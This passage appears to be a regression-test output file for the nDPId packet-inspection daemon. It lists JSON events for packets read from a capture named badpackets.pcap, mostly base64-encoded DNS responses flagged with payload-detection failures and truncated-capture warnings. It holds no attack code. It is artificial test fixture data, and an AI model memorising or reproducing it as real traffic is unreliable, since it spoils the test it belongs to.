thxxgFLD9e7N14XoZuciOXyDRzakdNxJe0xON4TdbMVJwAwALgABAABwgACgAAEFAwAAcIBZJ45bWSJHYFgXCHNhZmVsaXRlA2NvbQDY7GqPPxR3njuOxu6CCj1boxBl0v+KT3lL29Er72LdcsNtFbp2T5f6Lq+bUDJ6aGZ\/GGcJlbZVeSixgLiHv\/3WIrKbFRcxzmntMnI1WXDaq+hOKYUph2hgpvcyTFEbaygdhl5BdaaPauPAfweczJEJCc6TxoWZ0SzqEG1+NouhyMD\/AAIAAQAAcIAABwRuczAzwP\/A\/wACAAEAAHCAAAcEbnMwMcD\/wP8AAgABAABwgAAHBG5zMDLA\/8D\/AAIAAQAAcIAABwRuczA0wP\/A\/wAuAAEAAHCAAKAAAgUCAABwgFknVclZIgjZNvwIc2FmZWxpdGUDY29tAE+K9vCahuql+Dus\/olbzgxR6+xtIAxjgCV7w4P+TDgF96\/wvufu2LlMtgwWwEYPqWlh\/QSV3c3y2mgUeKsDgKDUKBPY4oAN1Ii5SdYXKnxedkDm6CDq2YBIJ\/f3K2Jens9\/DIVOgUFp+Zi9a7TtLhmA1IAcJwnXvflL7avBNhUUwfcALgABAABwgACgAAIFAgAAcIBZJ1XJWSII2VgXCHNhZmVsaXRlA2NvbQDFMtAOhXQ\/tcn8Bg0YsK0LCXQz9eeItGf3CI8d+ppJ3a1qxqTbsYvEPqKVPVXIPiYJ3ICi3zqAg5mc5470ZgSSPw3eDcdgkQ\/2sH6VsrvHw1pWLDtNZPd6cO+KsvNtbbCZ6JY="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":27,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":796} +00397{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":28,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451247,"pkt_ts_usec":437895,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":71,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcWZUgADkRzYvQTkcCzLpQ5QA1l\/cF7eAXMAuEEAABAA4ABgABBG1haWwFaG91enoDY29tAAA="} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":28,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":37} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":29,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451247,"pkt_ts_usec":676188,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcSyQgADkRLD3MDfsCzLpQ5QA10qYGN8NYfIeEEAABAAUABgABBWhvdXp6A2NvbQAAEAABwAwAEAABAAk6gABFRGdvb2dsZS1zaXRlLXZlcmlmaWNhdGlvbj0zWEpwSUlaRzJZeUVCWnlPYUs1ZWZrWDFnN21qaFV1aVhqT2xKZw=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":29,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":111} +01953{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":30,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451309,"pkt_ts_usec":206320,"pkt_caplen":1228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1228,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs98gADgR3UqMWiHtzLpQ5QA1U+IKco350KyEEAABAAMABAANB2VkZ2UtcDEBbARub2FhA2dvdgAAHAABwAwAHAABAAAAHgAQJhAAIIgAjAAAAAAAAAAAJMAMABwAAQAAAB4AECYQACCAAIwBAAAAAAAAACTADAAuAAEAAAAeAR4AHAUEAAAAHlkr8xJZIriS1gsBbARub2FhA2dvdgCV6O\/WR3JCSK+C7cZBu3S3X5K0UHxpncAfxFmSgHubPtuQ+ppFRTp+1fHbrUOyCpixD7BN4GSPyT84LF8EMzJbQxH0r2LLAvgtvgpUbYL7Z7w18yYTnE6XGfHtthXb1ZOye1L2hiRfpzbmmXCHOKb6LEYuPXKYSPhX2n+ImdcFypwUqYfMSD9FcjNa3Jo3Oqro2WuMMbD2gPnRfJ8TdXYRG4VNmibFauhfDGpn9UeUfORtwE7m2jOvlQ6Qvy9OpZkqoNE2Vdtt7jPJm2tzt5OKxSjI1XLv3boeUU7hE7UYEXONrZssQLYvDrWx9GDK\/I6MmaWyMYZAJODqzmpC6mevwHoAAgABAAFRgAAHBG5zLWXAfMB6AAIAAQABUYAACAVucy1td8B8wHoAAgABAAFRgAAIBW5zLW53wHzAegAuAAEAAVGAAR4AAgUDAAFRgFkr8xJZIriS1gsBbARub2FhA2dvdgAeLq4NmnVkcNxQ2ECZHAEvCMi5MZYEL8edA7YVxsb2UBGFIEGs\/0MCPjY5njGkf1suVTZtcwyT75u2gFjZgWxP1+c7rm4cmvpvBe+wC0vSebZWwrbWCerbFqwFr8WbzPO2CxG0Zn8pbBKC9uM1kn0tU08OZWkEPnxTJXMcLAZSYKzHnM3Abd9+nCKn5iCnhESUxIPjqzi3TtF47AxxSw8oSy\/22YcIyG5RxzRRDhaTIGZj9gjcsM8kyra2eumMo4lRPXVhwaJ6DQF2GVKV8FslkU9\/qAyzckJZU+4ClRBUn7ZyYZlZnrFBAgj7Zmr2QS9x22hcQerFh+735VmloZaXwZIAAQABAAFRgAAEjFoh7cGSABwAAQABUYAAECYQACCAAIwAAAAAAAAAAjfBpQABAAEAAVGAAASMrBHtwaUAHAABAAFRgAAQJhAAIIgAjAAAAAAAAAACN8G5AAEAAQABUYAABKE3IALBuQAcAAEAAVGAABAmEAAgjACMAAAAAAAAAAACwZIALgABAAFRgAEcAAEFAwABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AB08bt6E7ohbhYgi6U5fzCvPQTfSQRo3ylVGQBd4GQioTMMd+BhUrSx1nl58nNI6c+qAd1CqFmFqiM5ebi5pE1XQEztOcBoUZF5qERb6hyUOPUUPqQUzb4737GY7eLMVhWgV+nXDO9WAuWyFdvNYRSLJ60ie\/UEooUgR4nksvbeWExpReSwiYozRFhByWMQyA9TM2vrVynTVyVh25EIUMETyShl\/dY6oBT5c+IZn43u+z67SmlCfIeXgKTB\/oGjV7DRb81d5wfupBlV79lVlV1T1yN18zBWvAih22KxRneyyeH+TxQe9uSQgcU0OCnhDrgRNFl1ahPVaCtbmKAeDwCvBkgAuAAEAAVGAAQ=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":30,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1194} +00790{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":31,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451309,"pkt_ts_usec":834554,"pkt_caplen":361,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":361,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW2UgADURSHOMrBHtzLpQ5QA1ufwM17VSuDGEEAABAAYABAANA21hZwRuY2VwBG5vYWEDZ292AAABAAHADAAFAAEAAAEsAAsDbWFnBGNwcmvAEMAMAC4AAQAAASwBIQAFBQQAAAEsWSuLaVkiUOlQZARuY2VwBG5vYWEDZ292ADcGQyBFP4D+oljdb2+uDa9\/19GSwvR6WriPq+5z0bu\/0ZaU\/D8IQsmXY34oOVHWkzG6MucH8ZmcfTOJDErUlSNSiRzFT51PBmw6nGKnxTSwXkETkX04Oo9QP2yzVDt5BovyB6C9tXHehSkdYBFKv3dkwzGxANJxhe+yFBxgwF9UCs8+cZEJOlz8tn056cIu0n8cLm0Luw3FG\/hQGfvItzUlOxBl1A60sdiGmy6QUdNCXAcNU0yZ9pOPKxcCxUBH4IhMSpEnUlvPR6QJH5nmfUQe2XEJKZYxCw=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":31,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":327} +01904{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":32,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451309,"pkt_ts_usec":971567,"pkt_caplen":1191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1191,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW2YgADURSHKMrBHtzLpQ5QA1igkKTYrrwr6EEAABAAIABAANA3d3dwx0c3VuYW1pcmVhZHkEbm9hYQNnb3YAAAEAAcAMAAEAAQAAASwABIxaccjADAAuAAEAAAEsARwAAQUEAAABLFkri31ZIlD9PnMEbm9hYQNnb3YAYj6eILo+qkq5k18ERYBx0xRM9\/G7L0FZIt4YRMfTu\/USwfAnYN75io2kNkONiogWmMZ4Lag7k3IYxgcesHSZm7PZPDgrUXlAcd3yvVMKVKTxcZWm4erxNJExiN8+R7+gO8BV6r5YHq7uAPRDiCQOsXNlXUlDbrs1lqRHqt+\/of11uAQ6meqXGXmKksSlBj5fbAkW1+8cB\/QSQlJjzyciYH5OpnBXSP0xkvRyxYbMOP3yK39llO\/1t56mjX6N00VukVX1CCuCNDvCVEnhc9yhfw9oDlronPvyL2kVGsfMWn8txFzsS3wqbAr7fJQNwFsN6v7JS37aCBEsfLcqNMdRvcBZAAIAAQABUYAACAVucy1td8BZwFkAAgABAAFRgAAIBW5zLW53wFnAWQACAAEAAVGAAAcEbnMtZcBZwFkALgABAAFRgAEcAAIFAgABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AH\/\/EM5XxGUAJzS0k3FL5gqwtJA4FBuTo0uxBkbdgNOM7eIqyHshwuqLDq45ztJouzzqb5\/+QwdCyRboRA6YQcMyduo30hAwZBPjCwFtGtCbCO0zddpUh\/DZBFgSPh2dFJqb9c9JuhHoz3+E4Y9URJn+5DpaoXNsnl89Rx6siUb+Rihm7C+Vk315amYja69lUQmg3PNcdUVXF76DLNDZ9f0J\/NtTrjCtrMqxXjzjQDEOf1LyNKCNPvCsDV8BtRjU3VnXwwNw9fAKyA0zjlIJMDcZHgtkbmrTB9mFGy8tMxbqfFpB+6mG8tYtHiQWLDq6x9iFxvHJ7caHhZ1nCy6pTLXBlwABAAEAAVGAAASMWiHtwZcAHAABAAFRgAAQJhAAIIAAjAAAAAAAAAACN8FvAAEAAQABUYAABIysEe3BbwAcAAEAAVGAABAmEAAgiACMAAAAAAAAAAI3wYMAAQABAAFRgAAEoTcgAsGDABwAAQABUYAAECYQACCMAIwAAAAAAAAAAALBlwAuAAEAAVGAARwAAQUDAAFRgFkri31ZIlD9PnMEbm9hYQNnb3YAHTxu3oTuiFuFiCLpTl\/MK89BN9JBGjfKVUZAF3gZCKhMwx34GFStLHWeXnyc0jpz6oB3UKoWYWqIzl5uLmkTVdATO05wGhRkXmoRFvqHJQ49RQ+pBTNvjvfsZjt4sxWFaBX6dcM71YC5bIV281hFIsnrSJ79QSihSBHieSy9t5YTGlF5LCJijNEWEHJYxDID1Mza+tXKdNXJWHbkQhQwRPJKGX91jqgFPlz4hmfje77PrtKaUJ8h5eApMH+gaNXsNFvzV3nB+6kGVXv2VWVXVPXI3XzMFa8CKHbYrFGd7LJ4f5PFB725JCBxTQ4KeEOuBE0WXVqE9VoK1uYoB4PAK8GXAC4AAQABUYAB"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":32,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1157} +01955{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":33,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451310,"pkt_ts_usec":199170,"pkt_caplen":1228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1228,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs+EgADgR3UiMWiHtzLpQ5QA1YrcKcmZcnv2EEAABAAMABAANB2Ryb3VnaHQDZ292AAAcAAHADAAcAAEAAA4QABAmEAAggEAAAgAAAAAAAAFxwAwAHAABAAAOEAAQJhAAIIBAAAIAAAAAAAABcsAMAC4AAQAADhABHwAcBQIAAA4QWSuLOFkiULjwAAdkcm91Z2h0A2dvdgCiFhT73R8JkfGDTfZ4di36jz5eyOGbPz32qAMnwn4nlyVmuvzkf4NiJ96OxTP54IIqeClIfVaS9wEAfT+47pslkKZCPVwuhmOe6fDooq+GLDJv0+Ghc9188DOEwVA6ulHxE25woNOlZB13Uz3i90Fc0vOaXvfF9ZGxFm4J9mw3dWtYg4\/ds36+RRrCA9x3ERJDt7HPku5qZtP0xKuN8yDtutEHNQ+PFq\/yqbVvE6s5DpPsYgJR0mKl+kuenRHwsn7+W8RejJkXBdU0ylZRMFbsC3fBOassmaNP6p110AEWGpszbswU0n7MR6eCsSeyRW3u+kxNbB3DHriPINnb\/25ywHMAAgABAAAOEAANBW5zLW53BG5vYWHAe8BzAAIAAQAADhAACAVucy1td8GSwHMAAgABAAAOEAAHBG5zLWXBksBzAC4AAQAADhABHwACBQIAAA4QWSuLOFkiULjwAAdkcm91Z2h0A2dvdgAXXbMkYPS9QUln5hjQ9vMJUQmj7EOZmvYJzaa79X6dsVN8FpugM8E25umwpE\/dq29ve8D++P2tnJQfbDgKbTCzWcNRmJZVue8tdC5OTorh1HBmQkpoumFnTbmtekcohQkMcnb3AmWMR742fJ5XNYHgW7Ap4AaJ+wubZ2DGMzIxl72\/ofg+1dcqnAgbyQV8y0ogjIlloPBWpcRwxyL+zdk7S+iyN6s+YgfobuDo5dbvDWNky63CGBbyLqEaC7wzznplPJLXci32DUon7xJA0oUr7x\/h5U6kgccx3MbgKjnlj1l0PwM\/R2IbRlpN9BAQ34xrrixU4+6ApBRbB3spHijNwbkAAQABAAFRgAAEjFoh7cG5ABwAAQABUYAAECYQACCAAIwAAAAAAAAAAjfBpQABAAEAAVGAAASMrBHtwaUAHAABAAFRgAAQJhAAIIgAjAAAAAAAAAACN8GMAAEAAQABUYAABKE3IALBjAAcAAEAAVGAABAmEAAgjACMAAAAAAAAAAACwbkALgABAAFRgAEcAAEFAwABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AB08bt6E7ohbhYgi6U5fzCvPQTfSQRo3ylVGQBd4GQioTMMd+BhUrSx1nl58nNI6c+qAd1CqFmFqiM5ebi5pE1XQEztOcBoUZF5qERb6hyUOPUUPqQUzb4737GY7eLMVhWgV+nXDO9WAuWyFdvNYRSLJ60ie\/UEooUgR4nksvbeWExpReSwiYozRFhByWMQyA9TM2vrVynTVyVh25EIUMETyShl\/dY6oBT5c+IZn43u+z67SmlCfIeXgKTB\/oGjV7DRb81d5wfupBlV79lVlV1T1yN18zBWvAih22KxRneyyeH+TxQe9uSQgcU0OCnhDrgRNFl1ahPVaCtbmKAeDwCvBuQAuAAEAAVGAAQ=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":33,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1194} +01913{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":34,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451311,"pkt_ts_usec":326374,"pkt_caplen":1192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1192,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs+IgADgR3UeMWiHtzLpQ5QA1+8YKTsy4mcCEEAABAAIABAANA3d3dwd0c3VuYW1pA2dvdgAAAQABwAwAAQABAAAOEAAEjFplPMAMAC4AAQAADhABHwABBQMAAA4QWSnFrFkgiyw3Ggd0c3VuYW1pA2dvdgAJEO7XiuA+vhpIYobOdRe1yI2VB\/j2mzi\/2yP1Lp9H4M5qjusV7CkPVxOQC0AaCcVxqT4M6bztlrT7qUL0A1w3xQdNOpdYK4DVjBCuxhfx\/pX\/Rq0kECnDSkfE1jj7zqbQ61fish6MQQophJFU+Am6c5wLoF1vAyR8qdln5pLZ1FEOPVwHhvgDFyv98HmMD00pw\/wVmA65j4meeVRLeQ3a837VsRiT4jJKffufwtmx5Eqpxa2\/kJw53hWYnnMS38GIEaZRlEQM2vGca6sB3+N+kJQ1oGEgcMiONiOotB9a5cfHgsVEbIgj1jFGWNkedySgudQrRBslLuL9OimDWkL2wE8AAgABAAFRgAAMBG5zLWUEbm9hYcBXwE8AAgABAAFRgAAIBW5zLW53wW3ATwACAAEAAVGAAAgFbnMtbXfBbcBPAC4AAQABUYABHwACBQIAAVGAWSnFrFkgiyw3Ggd0c3VuYW1pA2dvdgAtNAttZ2tlqpXEcOn7mcA\/Z0HMna2P7rrtJXnupFJ5uos8L3b6TswIuV1nZPJ\/S0K4ZvjUZJukTJ5dsR\/z2bbQiS1uixECpVlyZZOXhp3A0rmQKUIYpz+yrwlZ4Dcq1wOupPxo1PMQl4AwQrMNxeyrQ0QU9G49JKGe20YA1Lhz1N+J4QbO5Tu3vWoPjnfsCEURngIIHow6qjNrrZEhlA929gSEpDzFDBqOvEXIedVxUEt\/nMPYmTYEM5I+66eeFT9HrjHCjzLWlP00hbu089PduHD\/KIRGO7Fs2DNO2Yt\/9FqjLrVhvcG5ptrnTz9lTYR\/uQVtLKTsydCWVZF9YLTOwWgAAQABAAFRgAAEjFoh7cFoABwAAQABUYAAECYQACCAAIwAAAAAAAAAAjfBlAABAAEAAVGAAASMrBHtwZQAHAABAAFRgAAQJhAAIIgAjAAAAAAAAAACN8GAAAEAAQABUYAABKE3IALBgAAcAAEAAVGAABAmEAAgjACMAAAAAAAAAAACwWgALgABAAFRgAEcAAEFAwABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AB08bt6E7ohbhYgi6U5fzCvPQTfSQRo3ylVGQBd4GQioTMMd+BhUrSx1nl58nNI6c+qAd1CqFmFqiM5ebi5pE1XQEztOcBoUZF5qERb6hyUOPUUPqQUzb4737GY7eLMVhWgV+nXDO9WAuWyFdvNYRSLJ60ie\/UEooUgR4nksvbeWExpReSwiYozRFhByWMQyA9TM2vrVynTVyVh25EIUMETyShl\/dY6oBT5c+IZn43u+z67SmlCfIeXgKTB\/oGjV7DRb81d5wfupBlV79lVlV1T1yN18zBWvAih22KxRneyyeH+TxQe9uSQgcU0OCnhDrgRNFl1ahPVaCtbmKAeDwCvBaAAuAAEAAVGAAQ=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":34,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1158} +01899{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":35,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451311,"pkt_ts_usec":524226,"pkt_caplen":1191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1191,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW2cgADURSHGMrBHtzLpQ5QA1l38KTYdoHVOEEAABAAIABAANA3d3dwZub2hyc2MBbARub2FhA2dvdgAAAQABwAwAAQABAAAAHgAEwC5sA8AMAC4AAQAAAB4BHgABBQUAAAAeWSvzElkiuJLWCwFsBG5vYWEDZ292AEmbFbdVf7FrZdNM0IbcWdEpLfLseHOhwkbd9Xyz04fYyQrhx+Jovb0Em+GuaroqiO5SKtEQJqVCCZB9p842uoKxho+pPpdJyWiQc7GnXhWdDNWtJHOkPmoq3wrf3jfnkFfPCy15tQqxwItlfzeoXa47K\/rbLzji9J6Cj82yysecO7bElXtCuXkKPdBLHf390b9a43nJCO8borqU1G0mIjq1zfMZZF6Kibws4+mFg0EdoxSpF65NctKwuurIJVArvCE11J8PbHegAuvbVEpvXwtS4p8hvMfMnJvNSqKpfuQhDV7nHNaRPD8uISM\/x8CbB8jQLQpUussqmlC6PtCbdXfAVQACAAEAAVGAAAgFbnMtbnfAV8BVAAIAAQABUYAACAVucy1td8BXwFUAAgABAAFRgAAHBG5zLWXAV8BVAC4AAQABUYABHgACBQMAAVGAWSvzElkiuJLWCwFsBG5vYWEDZ292AB4urg2adWRw3FDYQJkcAS8IyLkxlgQvx50DthXGxvZQEYUgQaz\/QwI+NjmeMaR\/Wy5VNm1zDJPvm7aAWNmBbE\/X5zuubhya+m8F77ALS9J5tlbCttYJ6tsWrAWvxZvM87YLEbRmfylsEoL24zWSfS1TTw5laQQ+fFMlcxwsBlJgrMeczcBt336cIqfmIKeERJTEg+OrOLdO0XjsDHFLDyhLL\/bZhwjIblHHNFEOFpMgZmP2CNywzyTKtrZ66YyjiVE9dWHBonoNAXYZUpXwWyWRT3+oDLNyQllT7gKVEFSftnJhmVmesUECCPtmavZBL3HbaFxB6sWH7vflWaWhlpfBlQABAAEAAVGAAASMWiHtwZUAHAABAAFRgAAQJhAAIIAAjAAAAAAAAAACN8GBAAEAAQABUYAABIysEe3BgQAcAAEAAVGAABAmEAAgiACMAAAAAAAAAAI3wW0AAQABAAFRgAAEoTcgAsFtABwAAQABUYAAECYQACCMAIwAAAAAAAAAAALBlQAuAAEAAVGAARwAAQUDAAFRgFkri31ZIlD9PnMEbm9hYQNnb3YAHTxu3oTuiFuFiCLpTl\/MK89BN9JBGjfKVUZAF3gZCKhMwx34GFStLHWeXnyc0jpz6oB3UKoWYWqIzl5uLmkTVdATO05wGhRkXmoRFvqHJQ49RQ+pBTNvjvfsZjt4sxWFaBX6dcM71YC5bIV281hFIsnrSJ79QSihSBHieSy9t5YTGlF5LCJijNEWEHJYxDID1Mza+tXKdNXJWHbkQhQwRPJKGX91jqgFPlz4hmfje77PrtKaUJ8h5eApMH+gaNXsNFvzV3nB+6kGVXv2VWVXVPXI3XzMFa8CKHbYrFGd7LJ4f5PFB725JCBxTQ4KeEOuBE0WXVqE9VoK1uYoB4PAK8GVAC4AAQABUYAB"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":35,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1157} +01034{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":36,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451320,"pkt_ts_usec":578334,"pkt_caplen":538,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":538,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcm2UgADwRZEWcmp8szLpQ5QA1q4QHwM\/ij\/aEAAABAAkAAAABBWNpc2NvAAAwAAHADAAwAAEAABwgAIgBAAMIAwEAAdRGl1LNWnzy7pAEJi3Qfp0TyGaJmTkZh6eXbbqBdkY9a1AoaD29yVHLBBpWMSQjH95pwspn6IcXgzevKG6XFhwPNM+E0S7Ju2k\/7H2VuFBNC29dnwoJg4icT5epf3G8zmCaNYnLVZLs5atUCkBlhgvwscnvv\/TSmgpTXYQuqFu\/wAwAMAABAAAcIACIAQADCAMBAAGb2PYROIXk7P7qLTWvxVk3g1BsHjHVl72rmOzt5smqLLn23qp74hnC88zJUUWv21Kqy8BhoPdBWvuS3K8EynHYxDv8VO+YXAgqPkxai26z4TwjzZmHJVKWTKIiQzsakq\/w839oY5NLQsHtKpX4hQW\/\/wsieSUyQBsu2l28RS8I1cAMADAAAQAAHCABCAEBAwgDAQABygOnV9ghCwCrh3eIvDoG++8o80Fto28a\/p6JEdC+lLUNcG3Y9tAyIDCo8XUGee3bePYL4ZzXyCqJp7IksLLiu1iB6COA3ZuzD54vWOW2TJDtbTnlLS\/u7yD3YgI8LRcGSwoN2sUUDjhQxtd1fWfVIvI03XN5eQAXgcBIZZGdNKBR\/XOzYiDors4mheJ4ps\/1KYBH9kdGGiRmovRgfQ=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":36,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":504} +01373{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":37,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451362,"pkt_ts_usec":335777,"pkt_caplen":791,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":791,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXc0esgADMR6diEowQKzLpQ5QA1Y8kIvV9wUR6EEAABAAMABAANBnRpbWUtYgh0aW1lZnJlcQdibGRyZG9jA2dvdgAAAQABwAwAAQABAAAHCAAEhKMEZsAMAC4AAQAABwgAnwABBwQAAAcIWSrzRVkhuCFcsQdibGRyZG9jA2dvdgCz4vohuOo\/ZN1uNZLF+UDD3qHzJ2C3tMHOSiioVq033RO+ipzXapwQ4E4BS5zpIr923AlaL\/9WhCQy\/1Y1em3YZ3AdccyxO0gssoEPbElS149\/ac9HrbYG6d20TbbVB+VxK1L4MHmWOCcJMgpGO42vZ1KmHAZxDSlAli+HvMzpRsAMAC4AAQAABwgAnwABBwQAAAcIWSrzRVkhuCGY5AdibGRyZG9jA2dvdgBW5VUxo2FURuhTFYytwadnYHGDoScx7bGNWmJUvbniq24ec9+NK5A\/tqH7Lb1b3crN9Prt\/g\/MsebeMzTxodqie2+H6hdDZbplhskKnOEu5xRS1cUQfYmye\/wwniirGeCr1GVyInNfmb1RMzIVhXHumDFYR5pqMpRB66Ew29Kp48EGAAIAAQAABwgACwNnZWEEbmlzdMEOwQYAAgABAAAHCAAGA2JlYcGjwQYALgABAAAHCACfAAIHAgAABwhZKrf2WSF4GVyxB2JsZHJkb2MDZ292AIkzKBspRRKHjgld2iUJ6W8EI2\/ErlCgV4JOh1mMYrKJbPVKhaRdiPCnaxtYShzkiY056+AEL\/F04B\/Iv+WE6BOSfqWIKu831nLLehhatNc+0QoMG8piwdYZemWzDmmM\/mnqv45r3JwAgEQFHE9f4xPdbzXzBXCIN46nN8sxYcwUwdoALgABAAAHCACfAAIHAgAABwhZKrf2WSF4GZjkB2JsZHJkb2MDZ292AESJxFFnLylJJ50F\/EEyc6PhRchiACYL\/AlcnWeas5mQ0gG8Z\/ObR2D2qfguVUaT0TQMgn0akP1qC+VS8lFO0ft06e+8c5Y27dzgbK173tMxr5wtnClaCLjSQH8="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":37,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":757} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":38,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451391,"pkt_ts_usec":978406,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXc76ogADkRkB1F\/HitzLpQ5QA1x5kF4D53demEAAABAAUABgABE2NlZA=="} +00190{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":38,"source":"badpackets.pcap","alias":"nDPId-test","caplen":58,"len":60} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":38,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451391,"pkt_ts_usec":978406,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXc76ogADkRkB1F\/HitzLpQ5QA1x5kF4D53demEAAABAAUABgABE2NlZA=="} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":38,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":26} +01038{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":39,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451394,"pkt_ts_usec":42349,"pkt_caplen":548,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":548,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcVF0gADYRwvybxo5RzLpQ5QA1bA4Hyoducg+EEAABAAIABQARA3d3dwV1bmlvbgJpYwJhYwJ1awAAAQABwAwAAQABAAADhAAEm8YDk8AMAC4AAQAAA4QAnAABBQUAAAOEWTixhlkRIPO5jgJpYwJhYwJ1awAj5WoAxYCg\/KfcFTNasuFz9k8DHEEKP+G\/QcO+tlENP2jc3LgZ9uA3IooVGcjqo3IK1WfQBCEvktqfQAxH7Wa9Cf7eUtirbKINvr5+kMLn6FCrM9jd2dQe6Y6pYaAdpbMZ52VbSjqrMzklY\/zIDFORoxkTs1i+ORgrFMtdeV2yqMBSAAIAAQABUYAABgNuczLAUsBSAAIAAQABUYAABgNuczDAUsBSAAIAAQABUYAABgNuczHAUsBSAAIAAQABUYAAEwhhdXRoZG5zMQNjc3gDY2FtwFXAUgAuAAEAAVGAAJwAAgUDAAFRgFk3Fx9ZD4ShuY4CaWMCYWMCdWsAnce7m9M5vKhQqwhA2lgP